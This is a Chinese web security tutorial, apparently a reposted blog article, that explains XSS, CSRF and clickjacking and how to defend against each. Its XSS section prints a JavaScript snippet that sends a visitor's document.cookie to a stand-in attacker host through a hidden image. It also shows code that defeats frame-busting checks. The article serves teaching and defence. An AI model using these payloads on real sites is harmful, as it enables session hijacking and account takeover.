摘要:跨站腳本攻擊可能造成以下影響利用虛假輸入表單騙取用戶個人信息。不僅僅是前端負責,后端也要做相同的過濾檢查。張三登錄了銀行的網站沒有退出,訪問了黑客王五的網站,上述的就會向銀行發起請求。
原文連接 https://jkchao.cn/article/59d...XSS
xss: 跨站腳本攻擊(Cross Site Scripting)是最常見和基本的攻擊 WEB 網站方法,攻擊者通過注入非法的 html 標簽或者 javascript 代碼,從而當用戶瀏覽該網頁時,控制用戶瀏覽器。
xss 主要分為三類:
DOM xss :
DOM即文本對象模型,DOM通常代表在html、xhtml和xml中的對象,使用DOM可以允許程序和腳本動態的訪問和更新文檔的內容、結構和樣式。它不需要服務器解析響應的直接參與,觸發XSS靠的是瀏覽器端的DOM解析,可以認為完全是客戶端的事情。
反射型 xss :
反射型XSS也被稱為非持久性XSS,是現在最容易出現的一種XSS漏洞。發出請求時,XSS代碼出現在URL中,最后輸入提交到服務器,服務器解析后在響應內容中出現這段XSS代碼,最后瀏覽器解析執行。
存儲型 xss :
存儲型XSS又被稱為持久性XSS,它是最危險的一種跨站腳本,相比反射型XSS和DOM型XSS具有更高的隱蔽性,所以危害更大,因為它不需要用戶手動觸發。 允許用戶存儲數據的web程序都可能存在存儲型XSS漏洞,當攻擊者提交一段XSS代碼后,被服務器端接收并存儲,當所有瀏覽者訪問某個頁面時都會被XSS,其中最典型的例子就是留言板。
跨站腳本攻擊可能造成以下影響:
利用虛假輸入表單騙取用戶個人信息。
利用腳本竊取用戶的 Cookie 值,被害者在不知情的情況下,幫助攻擊者發送惡意請求。
顯示偽造的文章或圖片。
存儲型 xss 案例在項目開發中,評論是個常見的功能,如果直接把評論的內容保存到數據庫,那么顯示的時候就可能被攻擊。
如果你只是想試試 xss,可以這樣:
試試水
如果帶點惡意,可以這樣:
這時,網站就掛了。
當然,最常見 xss 攻擊是讀取 Cookie:
Cookie 發送給攻擊者的站點:
var img = document.createElement("img") img.src="http://www.xss.com?cookie=" + document.cookie img.style.display="none" document.getElementsByTagName("body")[0].appendChild(img)
當前用戶的登錄憑證存儲于服務器的 session 中,而在瀏覽器中是以 cookie 的形式存儲的。如果攻擊者能獲取到用戶登錄憑證的 Cookie,甚至可以繞開登錄流程,直接設置這個 Cookie 值,來訪問用戶的賬號。
防御按理說,只要有輸入數據的地方,就可能存在 XSS 危險。
httpOnly: 在 cookie 中設置 HttpOnly 屬性后,js腳本將無法讀取到 cookie 信息。
// koa ctx.cookies.set(name, value, { httpOnly: true // 默認為 true })
過濾
輸入檢查,一般是用于對于輸入格式的檢查,例如:郵箱,電話號碼,用戶名,密碼……等,按照規定的格式輸入。
不僅僅是前端負責,后端也要做相同的過濾檢查。
因為攻擊者完全可以繞過正常的輸入流程,直接利用相關接口向服務器發送設置。
HtmlEncode
某些情況下,不能對用戶數據進行嚴格過濾,需要對標簽進行轉換
當用戶輸入, 最終保存結果為 , 在展現時,瀏覽器會對這些字符轉換成文本內容,而不是一段可以執行的代碼。
JavaScriptEncode
對下列字符加上反斜杠
關于更多 HtmlEncode 和 JavaScriptEncode,請參考 http://www.cnblogs.com/loveso...
CSRFcsrf:跨站點請求偽造(Cross-Site Request Forgeries),也被稱為 one-click attack 或者 session riding。冒充用戶發起請求(在用戶不知情的情況下), 完成一些違背用戶意愿的事情(如修改用戶信息,刪初評論等)。
可能會造成以下影響:
利用已通過認證的用戶權限更新設定信息等;
利用已通過認證的用戶權限購買商品;
利用已通過的用戶權限在留言板上發表言論。
一張圖了解原理:
簡而言之:網站過分相信用戶。
與 xss 區別通常來說 CSRF 是由 XSS 實現的,CSRF 時常也被稱為 XSRF(CSRF 實現的方式還可以是直接通過命令行發起請求等)。
本質上講,XSS 是代碼注入問題,CSRF 是 HTTP 問題。XSS 是內容沒有過濾導致瀏覽器將攻擊者的輸入當代碼執行。CSRF 則是因為瀏覽器在發送 HTTP 請求時候自動帶上 cookie,而一般網站的 session 都存在 cookie里面。
來自某乎的一個栗子:
案例比如某網站的轉賬操作
受害者張三給李四轉賬100,
通過對銀行的網站發起請求 http://bank.example/transfer?... ,
通常情況下,該請求發出后,服務器端會檢查 session 是否合法,并且張三已經登錄成功,
黑客王五可以自己給銀行發送一個請求 http://bank.example/transfer?... ,但是這個請求來自王五,而不是張三,他并不能通過安全認證。他需要張三的 session 。
王五自己做了一個網站,放入如下代碼 http://bank.example/transfer?... ,
用各種方式誘使張三點擊自己的網站。
張三登錄了銀行的網站沒有退出,訪問了黑客王五的網站,上述的 url 就會向銀行發起請求。
如果session沒有過期,這時悲劇就發生了,張三的賬戶里少了1000。
防御驗證碼;強制用戶必須與應用進行交互,才能完成最終請求。此種方式能很好的遏制 csrf,但是用戶體驗比較差。
盡量使用 post ,限制 get 使用;上一個例子可見,get 太容易被拿來做 csrf 攻擊,但是 post 也并不是萬無一失,攻擊者只需要構造一個form就可以。
Referer check;請求來源限制,此種方法成本最低,但是并不能保證 100% 有效,因為服務器并不是什么時候都能取到 Referer,而且低版本的瀏覽器存在偽造 Referer 的風險。
token;token 驗證的 CSRF 防御機制是公認最合適的方案。
整體思路如下:
第一步:后端隨機產生一個 token,把這個token 保存到 session 狀態中;同時后端把這個token 交給前端頁面;
第二步:前端頁面提交請求時,把 token 加入到請求數據或者頭信息中,一起傳給后端;
后端驗證前端傳來的 token 與 session 是否一致,一致則合法,否則是非法請求。
**若網站同時存在 XSS 漏洞的時候,這個方法也是空談。**Clickjacking
Clickjacking: 點擊劫持,是指利用透明的按鈕或連接做成陷阱,覆蓋在 Web 頁面之上。然后誘使用戶在不知情的情況下,點擊那個連接訪問內容的一種攻擊手段。這種行為又稱為界面偽裝(UI Redressing) 。
大概有兩種方式:
攻擊者使用一個透明 iframe,覆蓋在一個網頁上,然后誘使用戶在該頁面上進行操作,此時用戶將在不知情的情況下點擊透明的 iframe 頁面;
攻擊者使用一張圖片覆蓋在網頁,遮擋網頁原有的位置含義。
案例一張圖了解
一般步驟
黑客創建一個網頁利用 iframe 包含目標網站;
隱藏目標網站,使用戶無法無法察覺到目標網站存在;
構造網頁,誘變用戶點擊特點按鈕
用戶在不知情的情況下點擊按鈕,觸發執行惡意網頁的命令。
防御
X-FRAME-OPTIONS;
X-FRAME-OPTIONS HTTP 響應頭是用來給瀏覽器指示允許一個頁面可否在, 或者 中展現的標記。網站可以使用此功能,來確保自己網站內容沒有被嵌到別人的網站中去,也從而避免點擊劫持的攻擊。
有三個值:
DENY:表示頁面不允許在 frame 中展示,即便是在相同域名的頁面中嵌套也不允許。
SAMEORIGIN:表示該頁面可以在相同域名頁面的 frame 中展示。
ALLOW-FROM url:表示該頁面可以在指定來源的 frame 中展示。
配置 X-FRAME-OPTIONS:
- Apache 把下面這行添加到 "site" 的配置中: ``` Header always append X-Frame-Options SAMEORIGIN ``` - nginx 把下面這行添加到 "http", "server" 或者 "location",配置中 ``` add_header X-Frame-Options SAMEORIGIN; ``` - IIS 添加下面配置到 Web.config 文件中 ```... ```...
js 判斷頂層窗口跳轉,可輕易破解,意義不大;
function locationTop(){ if (top.location != self.location) { top.location = self.location; return false; } return true; } locationTop();
// 破解: // 頂層窗口中放入代碼 var location = document.location; //或者 var location = "";
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/88991.html
摘要:攻擊能獲取頁面數據劫持前端邏輯發送請求,偷取網站任意數據用戶資料欺騙用戶,所以是我們特別需要注意的前端安全問題。攻擊可能來源可以通過動態節點內容屬性富文本來對頁面進行攻擊。內容安全策略,用于指定哪些內容可以執行。 XSS XSS全稱是跨站腳本攻擊(Cross Site Scripting),所以我們可以縮寫成CSS,下面我們開始介紹CSS,先講選擇器。聽著是不是很奇怪,為了與層疊樣式表...
摘要:攻擊能獲取頁面數據劫持前端邏輯發送請求,偷取網站任意數據用戶資料欺騙用戶,所以是我們特別需要注意的前端安全問題。攻擊可能來源可以通過動態節點內容屬性富文本來對頁面進行攻擊。內容安全策略,用于指定哪些內容可以執行。 XSS XSS全稱是跨站腳本攻擊(Cross Site Scripting),所以我們可以縮寫成CSS,下面我們開始介紹CSS,先講選擇器。聽著是不是很奇怪,為了與層疊樣式表...
某熊的技術之路指北 ? 當我們站在技術之路的原點,未來可能充滿了迷茫,也存在著很多不同的可能;我們可能成為 Web/(大)前端/終端工程師、服務端架構工程師、測試/運維/安全工程師等質量保障、可用性保障相關的工程師、大數據/云計算/虛擬化工程師、算法工程師、產品經理等等某個或者某幾個角色。某熊的技術之路系列文章/書籍/視頻/代碼即是筆者蹣跚行進于這條路上的點滴印記,包含了筆者作為程序員的技術視野、...
閱讀 3478·2021-11-08 13:30
閱讀 3584·2019-08-30 15:55
閱讀 688·2019-08-29 15:16
閱讀 1750·2019-08-26 13:57
閱讀 2091·2019-08-26 12:18
閱讀 789·2019-08-26 11:36
閱讀 1733·2019-08-26 11:30
閱讀 3017·2019-08-23 16:46